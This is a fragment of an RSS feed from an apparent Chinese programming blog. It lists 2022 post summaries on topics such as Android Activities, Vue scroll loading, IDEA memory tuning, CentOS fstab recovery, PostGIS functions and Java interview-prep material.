      <pubDate>Thu, 26 May 2022 08:43:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a69236dfb4ce69e3f9d3c8c90b8ba02/</guid>
      <description>参考 keras.backend - 云+社区 - 腾讯云&#xA;Keras backend API.&#xA;一、Functions abs(...): Element-wise absolute value.all(...): Bitwise reduction (logical AND).any(...): Bitwise reduction (logical OR).arange(...): Creates a 1D tensor containing a sequence of integers.argmax(...): Returns the index of the maximum value along an axis.argmin(...): Returns the index of the minimum value along an axis.backend(...): Publicly accessible method for determining the current backend.batch_dot(...): Batchwise dot product.batch_flatten(...): Turn a nD tensor into a 2D tensor with same 0th dimension.</description>
    </item>
    <item>
      <title>Android 之 Activity 详解</title>
      <link>https://bchobby.github.io/posts/e08fd131ceb1616e6d97838fc7f5949b/</link>
      <pubDate>Thu, 26 May 2022 00:34:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e08fd131ceb1616e6d97838fc7f5949b/</guid>
      <description>最近在学习Android开发方面的知识，整理了一下关于Android中Activity方面的知识，也算是对自己学的知识进行了总结。Activity 在 Android开发中有着极其重要的位置，Activity是Android中四大组件之一，而我们的Android应用是由一个或多个Activity组成的。本篇文章将从以下几个方面给大家分享Activity的知识：&#xA;文章目录 1. Activity 的概念1.1 Activity 的概念1.2 创建 Activity 2. Activity 的启动方法2.1 显示启动2.2 隐式启动2.2.1 启动系统的 Activity 3. Activity 的生命周期3.1 单个Activity 生命周期3.2 多个Activity 生命周期 4. Activity 的启动模式 1. Activity 的概念 1.1 Activity 的概念 活动（Activity）是一个可视化的用户界面，负责创建一个屏幕窗口，放置 UI 组件，供用户交互。假如我们打开一个应用，看到的整个界面就是一个Activity，当点击一个超链接，跳转到另一个界面，则又是一个新的Activity。&#xA;1.2 创建 Activity 第一种方式&#xA;右击包名——New——Activity——Empty Activity，会看到类似于下面的界面，输入Activity和布局的名字，☑️Generate a Layout 后，Android系统会自动为我们创建布局，且在AndroidManifest.xml文件中自动注册当前Activity。&#xA;第二种方式&#xA;第一步：右击包名——New——JavaClass——输入Activity Name，例如Create Activity，&#xA;第二步：在AndroidManifest文件中注册Activity&#xA;在 application 标签中写入如下代码：&#xA;&amp;lt;activity android:name=&#34;.CreateActivity&#34; android:label=&#34;创建&#34;&amp;gt; &amp;lt;/activity&amp;gt; 第三步：新建一个布局&#xA;右击layout——New—— Layout Resource File——输入布局名称&#xA;第四步：在 Create Activity.java 文件中写入下面的代码&#xA;所有的Activity都要继承Activity，所有的活动都需要重写onCreate()方法，并在onCreate()方法中引用布局，才可使用&#xA;package com.</description>
    </item>
    <item>
      <title>Allegro转AD</title>
      <link>https://bchobby.github.io/posts/b5d92f9883b775f67e3d758acc2ba558/</link>
      <pubDate>Wed, 25 May 2022 23:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5d92f9883b775f67e3d758acc2ba558/</guid>
      <description>Target Step 1&amp;gt; 拷贝文件Step 2&amp;gt; 设置系统环境变量PathStep 3&amp;gt; 生成.alg文件Step 4&amp;gt; AD导入alg 注意：需要安装Allegro和AD软件； Step 1&amp;gt; 拷贝文件 文件目录：D:\AD安装目录\AD18\System&#xA;文件内容：如上图所示；&#xA;Step 2&amp;gt; 设置系统环境变量Path 因为需要使用，此路径下： extracta.exe；&#xA;Step 3&amp;gt; 生成.alg文件 Winr+R, 进入cmd， 切换路径，执行转换程序&#xA;生成.alg文件；&#xA;Step 4&amp;gt; AD导入alg 【文件F】菜单 -&amp;gt; 【导入向导】-&amp;gt; 。。。</description>
    </item>
    <item>
      <title>电源管理芯片(丝印为GG01C和GG0KL)</title>
      <link>https://bchobby.github.io/posts/b0eff04f60c0692c771d54ddc6e1dfe4/</link>
      <pubDate>Wed, 25 May 2022 20:59:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0eff04f60c0692c771d54ddc6e1dfe4/</guid>
      <description>这2颗液晶5脚SOT23-5封装的电源管理芯片型号是 HP3RC&#xA;TB和ACG上也有M&#xA;在PCB板子上的丝印是 GG0KL和GG01C&#xA;​&#xA;这是IC的引脚在板子上的引脚号&#xA;​&#xA;​&#xA;引脚&#xA;名称&#xA;功能&#xA;1&#xA;IN&#xA;电源VCC输入引脚&#xA;2&#xA;GND&#xA;PCB的地&#xA;3&#xA;EN&#xA;电源使能引脚（高电平开启LDO，低电平关闭LDO）&#xA;4&#xA;BYP&#xA;外接负载电容&#xA;5&#xA;OUT&#xA;电源VCC输出引脚（具体的输出电压根据LDO的型号来定）&#xA;值得一提的是：&#xA;该电源的第4引脚颇有争议，我三次接触到这颗物料，第一次的板子上的4脚外接了贴片电容，第二次的板子上的4脚悬空，第三次的板子上的4脚同样是外接电容。最终外部是外接电容还是悬空取决于你们....（可以的话可以放个电容，大不了贴片的时候不焊直接是NC，需要的时候再自己焊上）&#xA;在分析这个板子的时候查了很多资料和丝印都无果，所以分享出来.....避免大家伙走弯路，共同进步共同提升！&#xA;​</description>
    </item>
    <item>
      <title>关于修复msvcp110.dll丢失的问题</title>
      <link>https://bchobby.github.io/posts/54d96e4ef1c14c0ff322b3a030df20fe/</link>
      <pubDate>Wed, 25 May 2022 18:06:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54d96e4ef1c14c0ff322b3a030df20fe/</guid>
      <description>这个是msvc++ 2012的文件，出问题的时候一般会提示这个文件丢失了，程序无法运行。&#xA;解决方法就是安装msvc++ 2012。&#xA;1、首先从已经安装的程序清单中看看是否已经安装了msvc++ 2012。如果没安装，从这里下载：&#xA;https://www.microsoft.com/zh-CN/download/details.aspx?id=30679&#xA;注意：按照自己系统的架构（arm，x86，x64）来选择下载的文件。&#xA;一般这样操作后问题就修复了。&#xA;2、如果已经安装了msvc++ 2012仍然有问题，基本上是应用架构与msvc库的架构不匹配。比如我遇到的情况：系统中已经安装了msvc++ 2012 x64，但运行一个x86的app还是提示了dll丢失。所以，我从步骤1的链接中下载了x86的msvc++ 2012，安装后问题就解决了。&#xA;所以，解决方法，严格的讲，是：“安装一个正确的msvc++ 2012”。如果操作系统中没有安装，那么一定要安装一个。另外，如果app架构和操作系统不同，那么还要安装一个与app架构相符的版本。&#xA;当然，以上的解决方法并未覆盖所有可能的问题路径。</description>
    </item>
    <item>
      <title>Udacity 自动驾驶工程师学习笔记（二）——深度学习（1）</title>
      <link>https://bchobby.github.io/posts/3c27737142c2653840d68f6d1a125ea7/</link>
      <pubDate>Wed, 25 May 2022 15:59:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c27737142c2653840d68f6d1a125ea7/</guid>
      <description>深度学习目录&#xA;目录&#xA;Lesson01:Neural Netowrks 神经网络&#xA;01.神经网络 Neural Network&#xA;02.例子：房价&#xA;03.Classification Problem 分类问题&#xA;04.Perceptrons 感知器&#xA;05.Perceptron as Logical OPerators 感知器作为逻辑运算符&#xA;06.Perceptron Trick 感知器技巧&#xA;07.Perceptron Algorithm 感知器算法​​​​​​​&#xA;前言&#xA;该文是笔者关于优达学城无人驾驶工程师中深度学习部分的总结笔记，学习从头开始构建神经网络，使用TensorFlow和卷积神经网络，该部分实现了项目：Behavioral Cloning训练深度神经网络来自动驾驶汽车。&#xA;Lesson01:Neural Netowrks 神经网络 概要&#xA;Build and train neural networks from linear and logistic regression to backpropagation and multilayer perceptron networks.&#xA;构建和训练从线性回归和逻辑回归到反向传播和多层感知网络的神经网络。&#xA;01.神经网络 Neural Network 这些神经网络是基于数据训练的。本博客最后介绍如何在udacity模拟器中训练深度神经网络实现无人驾驶汽车， 首先，你将在模拟器中驾驶并记录参数，然后构建和训练一个从自己的驾驶方式中学习的神经网络，输入相机图像或传感器读数经过神经网络生成输出，汽车应该的转向角和纵向速度。&#xA;机器学习是人工智能的一个领域，它从数据中学习了解环境，而不是依赖人工设定规则。&#xA;深度学习是机器学习的一种方法，深度神经网络是描述大型多层神经网络的术语，感知器是神经网络的基本单元。&#xA;02.例子：房价 给定房子的面积来预测房子的价格，有一个价值70,000美元的小房子和一个价值160.000美元的大房子，想估计这些中型房子，那么应该怎么做呢？&#xA;首先我们要先收集历史房价数据，将这些数据建立x为面积y为价格，如图这些蓝点是我们收集的数据，根据这些数据，你认为中型房屋价格的最佳估计是多少？&#xA;连接这些数据点找出最适合这些数据的线，即通过数据绘制最佳拟合线，这方法称为线性回归，&#xA;03.Classification Problem 分类问题 决定一位学生是否被录取，第一位学生Test=9 Grades=8被录取，第二位学生Test=3 Grades=4不被录取，预测第三位学生Test=7 Grades=6是否被录取？&#xA;这个问题的第一个方法是在一个图表中绘制学生对应的分数为x，对应的等级为y。&#xA;上面的表格被一条线很好地分隔开，这条线称为模型，这模型有几个错误，红点和蓝点没有被线完美分隔开，在线上方被录取，线下方被拒绝，那么应该如何找到这条线呢？</description>
    </item>
    <item>
      <title>vue3 触底加载数据（滚动加载分页数据）</title>
      <link>https://bchobby.github.io/posts/1d13d6f7d685eb2d9e54de044f51c828/</link>
      <pubDate>Wed, 25 May 2022 15:55:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d13d6f7d685eb2d9e54de044f51c828/</guid>
      <description>html：&#xA;&amp;lt;div class=&#34;integral-record-cont&#34;&amp;gt; &amp;lt;div class=&#34;integral-record-item&#34; v-for=&#34;(item,index) in integralList&#34; :key=&#34;index&#34; v-if=&#34;integralList.length&amp;gt;0&#34;&amp;gt; &amp;lt;div class=&#34;traditional-integral-panel&#34;&amp;gt; &amp;lt;div class=&#34;traditional-integral flex-center-between&#34;&amp;gt; &amp;lt;div class=&#34;integral-name&#34;&amp;gt;太阳雨游戏积分&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;flex-center-start&#34;&amp;gt; &amp;lt;span class=&#34;integral-num integral-num-green&#34; v-show=&#34;item.type==1&#34;&amp;gt; +{{item.integral}}&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;integral-num integral-num-orange&#34; v-show=&#34;item.type==2&#34;&amp;gt; -{{item.integral}}&amp;lt;/span&amp;gt; &amp;lt;div class=&#34;arrow-down-panel flex&#34; @click=&#34;bagShow(index)&#34; v-if=&#34;item.luckyBagIntegral&#34;&amp;gt; &amp;lt;van-icon class=&#34;arrow-down&#34; name=&#34;arrow-down&#34;&amp;gt;&amp;lt;/van-icon&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;integral-date&#34;&amp;gt; {{item.createDate}}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;blessing-bag-integral flex-center-between&#34; v-if=&#34;item.isShow&#34;&amp;gt; &amp;lt;div class=&#34;blessing-bag-integral-text&#34;&amp;gt;其中游戏福袋积分&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;blessing-bag-integral-num flex-center-start&#34;&amp;gt;{{item.luckyBagIntegral}} &amp;lt;div class=&#34;arrow-down-panel&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div v-else&amp;gt; &amp;lt;no-data&amp;gt;&amp;lt;/no-data&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; css：&#xA;.integral-record-cont{ height:8.4rem; overflow-y: scroll; padding: 0 .</description>
    </item>
    <item>
      <title>HTML表单制作</title>
      <link>https://bchobby.github.io/posts/60a2c63eba1ae60d7011695781ea6131/</link>
      <pubDate>Wed, 25 May 2022 12:39:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60a2c63eba1ae60d7011695781ea6131/</guid>
      <description>为什么写表单？（目的是为了收集用户信息）&#xA;表单的组成：表单域、表单控件（也称表单元素）和提示信息3个部分构成。&#xA;在HTML中，&amp;lt;form&amp;gt;标签用于定义表单域，以实现用户信息的收集和传递&#xA;&amp;lt;form&amp;gt;会把它范围内的表单元素信息提交给服务器&#xA;&amp;lt;form action=&#39;&#39;url地址&#39;&#39; methid=&#39;&#39;提交方式&#39;&#39; name=&#39;&#39;表单域名称&#39;&#39;&amp;gt;&#xA;各种表单元素的控件&#xA;&amp;lt;/form&amp;gt;&#xA;input输入表单元素&#xA;&amp;lt;input&amp;gt;标签用于收集用户信息&#xA;&amp;lt;input type=&#39;&#39;属性值&#39;&#39;/&amp;gt;&#xA;除type属性外，&amp;lt;input&amp;gt;标签还有其他很多属性：&#xA;&amp;lt;label&amp;gt;标签&#xA;&amp;lt;label&amp;gt;标签为input元素定义标签&#xA;&amp;lt;label&amp;gt;标签用于绑定一个表单元素，当点击&amp;lt;label&amp;gt;标签内的文本时，浏览器就会自动将焦点转到或者选择对应的表单元素上，用来增加用户体验。&#xA;语法：&#xA;&amp;lt;label for=&#39;&#39;sex&#39;&#39;&amp;gt;男&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&#39;&#39;radio&#39;&#39; name=&#39;&#39;sex&#39;&#39; id=&#39;&#39;sex&#39;&#39;/&amp;gt;&#xA;核心：for属性应当与相关元素的id属性相同&#xA;&amp;lt;select&amp;gt;表单元素&#xA;textarea文本域元素 使用场景：当用户输入内用较多的情况下，就不能是用文本框表单了。&amp;lt;textarea&amp;gt;标签是用于定义多行文本输入的控件。&#xA;语法：</description>
    </item>
    <item>
      <title>IDEA运行缓慢卡顿，解决idea卡顿，中文乱码等</title>
      <link>https://bchobby.github.io/posts/2cdfa899a624819b93edadd7feaf0139/</link>
      <pubDate>Wed, 25 May 2022 09:17:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cdfa899a624819b93edadd7feaf0139/</guid>
      <description>IDEA卡顿原因&#xA;使用IDEA时，总是点一下卡一下，真的对人是一种折磨！&#xA;其实，这种情况主要因为IDEA默认启动配置，一款软件它要考虑低配置用户，所以初始化参数不高（默认最低128m，最高512m），导致启动慢，然后运行也不流畅。因此我们需要优化下启动和运行配置。&#xA;优化IDEA配置 ---- 重点推荐的方法&#xA;由于IDEA初始参数低，但是在工作中的电脑一般都是8G或者16G的运行内存，所以我们需要手动去修改默认的IDEA配置。使得我们的体验更加流畅！&#xA;这里是主要是 idea安装目录下的bin文件夹下的idea.exe.vmoptions文件！&#xA;手动修改IDEA配置步骤&#xA;找到IDEA安装目录，进入bin文件夹下，找到idea.exe.vmoptions文件！&#xA;idea.exe.vmoptions：默认32位机器运行的&#xA;idea64.exe.vmoptions：默认64位机器运行的&#xA;打开idea.exe.vmoptions 以及idea64.exe.vmoptions文件&#xA;关键的三个参数的说明 1、 -Xms 是最小启动内存参数&#xA;2、 -Xmx 是最大运行内存参数&#xA;3、 -XX:ReservedCodeCacheSize 保留代码占用的内存容量参数&#xA;手动修改&#xA;-Xms=512m&#xA;-Xmx=1024m&#xA;-XX:ReservedCodeCacheSize =300m&#xA;基本在原有基础增加一倍！如下图：&#xA;【如果你的电脑在8G以上，或者配置更好】&#xA;可以参考如下设置：&#xA;-Xms=1024m&#xA;-Xmx=2048m&#xA;-XX:ReservedCodeCacheSize =500m&#xA;保存后，重新打开IDEA，会发现运行速度明显提高，流畅很多！&#xA;我们应根据具体情况更改合适的参数，并不一定完全按照我的参数！，但是只要增大参数，运行情况都会变得更优！&#xA;当然也可以分别改成 1024m 和 2048m，之后如果还卡，再往大了调，我估计应该也不会再卡了。&#xA;其他卡顿优化(参考)&#xA;1.idea启动时会有两个快捷方式&#xA;idea安装完后默认生成在桌面的是32位的idea的快捷方式，如果我们使用这个快捷方式运行大项目，一般都会很卡。解决方法是找到idea的安装目录，然后进入bin文件夹，找到名称为idea64的应用程序，右键他生成桌面快捷方式。以后每次启动都用它这个快捷方式就可以了。&#xA;2. 卸载不需要用的插件&#xA;对于Java开发，对于一些默认安装的什么安卓的google的app，前端的js框架 等插件可以卸载掉&#xA;项目中根本不用不到的一些框架，Struts，Hibernate,Ant 等可以卸载&#xA;当然，具体应该根据我们的开发情况来停止一些不必要的插件！&#xA;3.减少内存&#xA;在设置项目的时候尽量不要将没有关系的项目放置在一个工程中，这样能够减少内存的使用&#xA;4.适当关闭idea的Inspections的检查或者开发时完全关闭Inspections的检查，等开发完后在开启检查&#xA;idea右下角（旧版）有一个 人头标志，可以点击，调准idea检查级别~&#xA;idea2021版本和企业版，都没有人头标志，在代码域右上角，如图，鼠标悬停！&#xA;主要用来设置当前编辑文档的代码检查等级&#xA;Inspections 为最高等级检查，可以检查单词拼写，语法错误，变量使用，方法之间调用等&#xA;Syntax 可以检查单词拼写，简单语法错误&#xA;None 不设置检查&#xA;IntelliJ IDEA 对于编辑大文件并没有太大优势，很卡，原因就是它有各种检查，这样是非常耗内存和 CPU 的，所以为了能加快大文件的读写，可以考虑暂时性设置为 None。</description>
    </item>
    <item>
      <title>centos重启后，进入紧急模式</title>
      <link>https://bchobby.github.io/posts/21c53e635fab8af64f7bc534c1888c52/</link>
      <pubDate>Tue, 24 May 2022 23:04:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21c53e635fab8af64f7bc534c1888c52/</guid>
      <description>centos7重启后，进入紧急状态，输入密码进入后，看系统日志，发现挂载数据盘时，出现failure，数据盘是另外一块硬盘，存放了应用和数据，这时进入数据盘目录，列一下目录，发现数据盘数据为0！这可太吓人了！&#xA;由于是虚拟机，紧急克隆了数据盘的内容，发现数据盘是有内容的。然后开始了拯救之路：&#xA;df -Th 发现挂载的磁盘在的，fdisk -l也显示磁盘正常，那为什么挂载会失败呢？&#xA;经客服提醒，才发现重启后，在/etc/fstab里原来挂载的sdb2变成了sdc2，由于紧张刚才没有看清，于是将fstab里的sdc2变成UUID，这样如果盘符再变，UUID是唯一的，就避免了挂载失败的情况：&#xA;1、重新挂载根目录为读写模式：# mount -o rw,remount /&#xA;2、修改/etc/fstab，使用 blkid 命令列出的UUID列表，找出sdc2的UUID，替换sdc2的位置，保存退出，重启就ＯＫ了</description>
    </item>
    <item>
      <title>[ArcGIS]城市关联度分析</title>
      <link>https://bchobby.github.io/posts/52884c2c3cbf769670df2186854315ba/</link>
      <pubDate>Tue, 24 May 2022 21:05:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52884c2c3cbf769670df2186854315ba/</guid>
      <description>1. 在ArcMap中加载“城市”点数据、“国家线”线数据和“省级行政区”面数据并设置矢量图层颜色等属性，这里为了美观将国界线设置成红色。同时观察图层属性信息。&#xA;2. 通过ArcGIS ArcToolbox中Conversion Tools-Excel-Excel To Table工具将“关联度数据”excel表转换成gdb数据。&#xA;转换完成后原来excel中的数据便可以被arcgis成功转化读取了，如下图：&#xA;3. 添加城市经纬度信息&#xA;调用“Add XY Coordinates”工具，选择城市图层，对“城市”点数据添加经纬度信息。&#xA;调用Data Management Tools-Joins-Join Field工具，对gdb表格数据赋予城市A和城市B的经纬度信息。具体输入参数如下图（下图是对城市A赋予经纬度信息参数，同理需要对城市B再重复执行上述操作）：&#xA;4. 生成线&#xA;调用“XY To Line”工具，设置对应的参数如下图所示，生成城市之间的关联度数据线。&#xA;随后通过新生成的“关联度数据_ExcelToTable_XYToLine”线数据Join and Relates-Join功能来添加“关联度数据”表数据中的“关联度”属性。&#xA;5. 设置关联度分级和出图&#xA;在“关联度数据_ExcelToTable_XYToLine”线数据中的属性中按照“关联度”属性进行分类；设置指北针和比例尺，出图。</description>
    </item>
    <item>
      <title>【go-mysql-elasticsearch记录, 先看第五条】</title>
      <link>https://bchobby.github.io/posts/c801473525ef8e2499c68b967f71f3f2/</link>
      <pubDate>Tue, 24 May 2022 17:01:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c801473525ef8e2499c68b967f71f3f2/</guid>
      <description>go-mysql-elasticsearch使用记录： Windows11 环境下使用 go-mysql-elasticsearch 使得mysql数据导入es：`&#xA;1. 启动命令 .\go-mysql-elasticsearch.exe -config=D:\soft\go-mysql-elasticsearch\etc\river.toml&#xA;指定目录的go-mysql-elasticsearch.exe 加上指定位置的river.toml配置文件&#xA;否则会默认使用./ect/river.toml, 大概率是linux的默认, windows难搞&#xA;2. panic: http: invalid pattern 错误信息&#xA;[2022/05/23 14:50:47] [info] binlogsyncer.go:211 register slave for master server 127.0.0.1:3306 panic: http: invalid pattern goroutine 10 [running]: net/http.(*ServeMux).Handle(0x1836440, {0x0, 0x0}, {0x1238aa0?, 0xc000094360}) D:/soft/Go/src/net/http/server.go:2472 +0x24c net/http.Handle(...) D:/soft/Go/src/net/http/server.go:2521 github.com/siddontang/go-mysql-elasticsearch/river.InitStatus({0x0, 0x0}, {0x0, 0x0}) D:/soft/go-mysql-elasticsearch/river/metrics.go:52 +0x50 created by github.com/siddontang/go-mysql-elasticsearch/river.NewRiver D:/soft/go-mysql-elasticsearch/river/river.go:79 +0x465 版本更新后的问题, 配置文件river.toml 添加&#xA;# Inner Http status address stat_addr = &#34;127.0.0.1:12800&#34; stat_path = &#34;</description>
    </item>
    <item>
      <title>如何把Excel转成html table表格代码</title>
      <link>https://bchobby.github.io/posts/6fd8328b520a7c5fa0d2c78adeea9c16/</link>
      <pubDate>Tue, 24 May 2022 16:08:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fd8328b520a7c5fa0d2c78adeea9c16/</guid>
      <description>前端开发工作中有时候需要从Excel表格的数据转成网页显示，&#xA;虽然Excel可以另存成为html，不过含有太多各种标签和样式，还需要重新调整，比较麻烦，&#xA;后来找到一个工具可以直接粘贴Excel数据转换成为html表格：&#xA;打开这个网站&#xA;https://www.strerr.com/cn/tableizer.htmlhttps://www.strerr.com/cn/tableizer.html&#xA;复制Excel数据内容&#xA;粘贴到网站&#xA;点击生成&#xA;直接生成table表格代码</description>
    </item>
    <item>
      <title>STM32&#43;CubeMX 通过RMS和FFT进行波形识别</title>
      <link>https://bchobby.github.io/posts/19c4ae2097a5e7dd3c0c3c835ab9e122/</link>
      <pubDate>Tue, 24 May 2022 11:28:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19c4ae2097a5e7dd3c0c3c835ab9e122/</guid>
      <description>波形识别 本文所展示的程序可以用于分辨正弦波、三角波、方波三种波形。&#xA;文章目录 波形识别思路可以判断波形的两个特点时域方面频域方面 外设配置 &amp;amp; DSP库配置代码部分串口重定向时域部分变量定义ADC采集求最大值，最小值，幅值取出波形的一个周期求取RMS波形判断精度问题 频域部分FFT求出频谱判断波形提高精度 感谢工程链接 思路 利用不同波形某些方面的相互不同的特征为依据，即可分辨波形。&#xA;例如：通过外形特点我们可以分辨 乒乓球 和 羽毛球&#xA;对于单片机，我们要选择可以用数值表示，用统一方法计算的特征来识别波形。&#xA;可以判断波形的两个特点 时域方面 我们发现，不同波形的有效值（RMS）是不同的。而且不同波形有效值可以通过一个固定的公式求出。&#xA;交流电有效值（RMS）又叫均方根值，是一种用以计量交流电大小的值，交流电通过某电阻，在一周期内所产生的热量与直流电通过该电阻在同样时间内产生的热量相等，该直流电的大小就是交流电的有效值。&#xA;已知通过ADC采集得到的波形离散的电压值，可以通过以下公式来计算RMS。假设ADC采集N个点的电压X[i] (1&amp;lt;=i&amp;lt;=N)：&#xA;X r m s = X [ 1 ] 2 + X [ 2 ] 2 + . . . + X [ n ] 2 N X{rms}= \sqrt { X[1]^2 + X[2]^2 + ...+X[n]^2 \over N } Xrms=NX[1]2+X[2]2+...+X[n]2​ ​&#xA;不同波形的有效值如下(A代表幅度)：&#xA;波形正弦波方波三角波有效值0.707A1A0.577A 只要求出待测波形的有效值，与标准值相比对，即可辨别波形。&#xA;需要注意的是：&#xA;计算有效值时，待测波形的位置必须关于时间轴对称，所以在计算前要把所有波平移到关于时间轴对称的位置。待测波形的离散点必须形成整数个完整的周期，也就是说，需要从ADC采集的点中取出一个或整数个完整周期的点。&#xA;如果不符合以上两个条件，算出的RMS会与给出的标准值不同，也就无法用固定的标准识别波形。 求取RMS的代码也并不复杂，stm32DSP库中有封装好的求取RMS值的函数，我们这里不再手动实现，直接调用函数。</description>
    </item>
    <item>
      <title>PostGIS 空间计算</title>
      <link>https://bchobby.github.io/posts/ba326808938a940f2cb2b1bc994a0bf1/</link>
      <pubDate>Tue, 24 May 2022 09:14:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba326808938a940f2cb2b1bc994a0bf1/</guid>
      <description>1、度/秒互转 UPDATE 表名 SET geom = st_scale(shape, 1/3600.0,1/3600.0) 2、geom转wkt字符串 SELETC st_astext(t.shape) 3、wkt字符串转geom 并设置坐标系 SELECT st_setsrid(ST_GeomFromText(&#39;POINT(428626.908 110737.8)&#39;), 4326) 4、获取图形中心点坐标 SELECT ST_X(st_centroid(c.shape)) AS x , ST_Y(st_centroid(c.shape)) AS y 5、A是否包含B ST_CONTAINS(A, b) 6、查询和修改SRID SELECT st_srid(geom) FROM road limit 1;&#xA;UpdateGeometrySRID(varchar table_name, varchar column_name, integer srid);&#xA;UpdateGeometrySRID(varchar schema_name, varchar table_name, varchar column_name, integer srid);&#xA;UpdateGeometrySRID(varchar catalog_name, varchar schema_name, varchar table_name, varchar column_name, integer srid);&#xA;–schema_name表示schema的名称，一般默认是public&#xA;示例：&#xA;select UpdateGeometrySRID(‘road’, ‘geom’, 4326);&#xA;–road为表名&#xA;–geom为空间字段&#xA;–4326为更新的SRID</description>
    </item>
    <item>
      <title>Relion-3.1.3 编译安装</title>
      <link>https://bchobby.github.io/posts/be8d74ccdaac615d2586fb4d3d5d1a99/</link>
      <pubDate>Tue, 24 May 2022 07:12:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be8d74ccdaac615d2586fb4d3d5d1a99/</guid>
      <description>安装包下载： 2021年11月安装的Relion，github的版本是3.1.3&#xA;Relion3.13tar.gz包下载&#xA;链接：https://pan.baidu.com/s/1W2iCyXH0W2INKGaWAkmbqQ 提取码：kuxn&#xA;github源下载地址 这都是加速版的 可以直接 git clone 下来&#xA;v_4.0_Beathttps://github.com.cnpmjs.org/3dem/relion.gitv_3.1.3GitHub - 3dem/relion: Image-processing software for cryo-electron microscopy历史版本下载地址Releases · 3dem/relion · GitHub 码云版： https://gitee.com/YongPeng_Li/relion.git （这个是我fork过来的，境内会快一点）&#xA;用户安装手册--官网推荐： V_4.0_Beat 安装文档：&#xA;Installation — RELION documentation ——打不开看下面英文 重要的我都标粗了&#xA;V_3.13 安装文档：&#xA;Download &amp;amp; install - Relion 我本地用的是虚拟机安装(系统Ubuntu),不过理论都一样&#xA;安装过程中注意用户-Ubuntu的用户及用户组。不然各种测试发现安装了怎么又找不到。&#xA;这是我安装过程中遇到的两个问题 问题1：&#xA;Could NOT find X11 (missing: X11_X11_INCLUDE_PATH X11_X11_LIB) 解决办法：&#xA;sudo apt-get install libx11-dev libxext-dev libxrender-dev libxtst-dev libxt-dev 问题2：Package xft was not found in the pkg-config search path.</description>
    </item>
    <item>
      <title>2021火到爆，这份阿里内部12W字Java面试内卷，让你薪资翻几倍</title>
      <link>https://bchobby.github.io/posts/a01bdd3624821ecc22ad78aaaed8c6b5/</link>
      <pubDate>Mon, 23 May 2022 22:01:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a01bdd3624821ecc22ad78aaaed8c6b5/</guid>
      <description>第一次去面试，面试官问了句：“公司都鼓励员工鼓励免费加班的，你觉得可以吗?”&#xA;我说：“可以啊，怎么不行，我连工资都可以不要。”&#xA;面试官一时没反应过来喊到：“怎么可能，你别逗我了。”&#xA;我：“不是你先逗我的吗?”&#xA;资料链接：骆驼祥子思维导图 - GitMind&#xA;首先要看的还是“软实力”&#xA;下面就是一些技术面的重要知识点 JVM篇&#xA;多线程并发篇&#xA;mysql篇&#xA;Zookeeper篇&#xA;Nginx篇&#xA;GIT篇&#xA;设计模式&#xA;全部内容：</description>
    </item>
    <item>
      <title>20220年春招，秋招必问的1000道Java面试题及答案整理</title>
      <link>https://bchobby.github.io/posts/80f82351d37c50b3e839c8d4d4cb093c/</link>
      <pubDate>Mon, 23 May 2022 21:53:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80f82351d37c50b3e839c8d4d4cb093c/</guid>
      <description> 前言 不论是校招还是社招都避免不了各种面试，如何去准备面试就显得格外重要。&#xA;这不马上金三银四了，相信有很多小伙伴为社招或跳槽做准备，最近小编也常常在刷面试题，发现网上很多Java面试题都没有答案，所以花了很长时间搜集整理出来了这套Java面试题大全，希望对大家有帮助哈~&#xA;博主已将以下这些面试题整理成了一个Java面试手册，是PDF版的。内容涵盖了：Java基础、JVM、多线程、spring全家桶、MyBatis、数据库、微服务、Dubbo、Nginx、MQ、Linux、Zookeeper等技术栈。&#xA;第一份面试突击手册 目录一览&#xA;包含23大Java面试专题，每项专题都有几十道面试题（附题目详解）&#xA;基础篇&#xA;JVM&#xA;多线程&#xA;spring&#xA;MyBatis&#xA;SpringBoot&#xA;MySQL&#xA;网络&#xA;git&#xA;软实力&#xA;每一章节不仅有面试题库，还有精心准备了思维导图把相关的知识点串起来，使读者能更好地理解相关的知识点，而不是死记硬背，这些才可以通过大厂面试官的面试连环炮。由此可见作者的良苦用心；&#xA;第二份面试突击手册 目录一览 部分内容&#xA;总结 以上就是有关程序员面试专题的一些总结，面试不仅考的是技术还有心态，只要你有足够的技术支撑，心态要好，拿到offer肯定不在话下。先不要把它想得很困难，自己给自己设置槛！希望大家都可以拿到心仪offer，走向升职、跳槽、涨薪、赢娶白富美之路！&#xA;资料领取：骆驼祥子思维导图 - GitMind </description>
    </item>
    <item>
      <title>微信小程序——从零搭建</title>
      <link>https://bchobby.github.io/posts/c5d7f3eb39c8fcee1935d61be3edc154/</link>
      <pubDate>Mon, 23 May 2022 16:08:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5d7f3eb39c8fcee1935d61be3edc154/</guid>
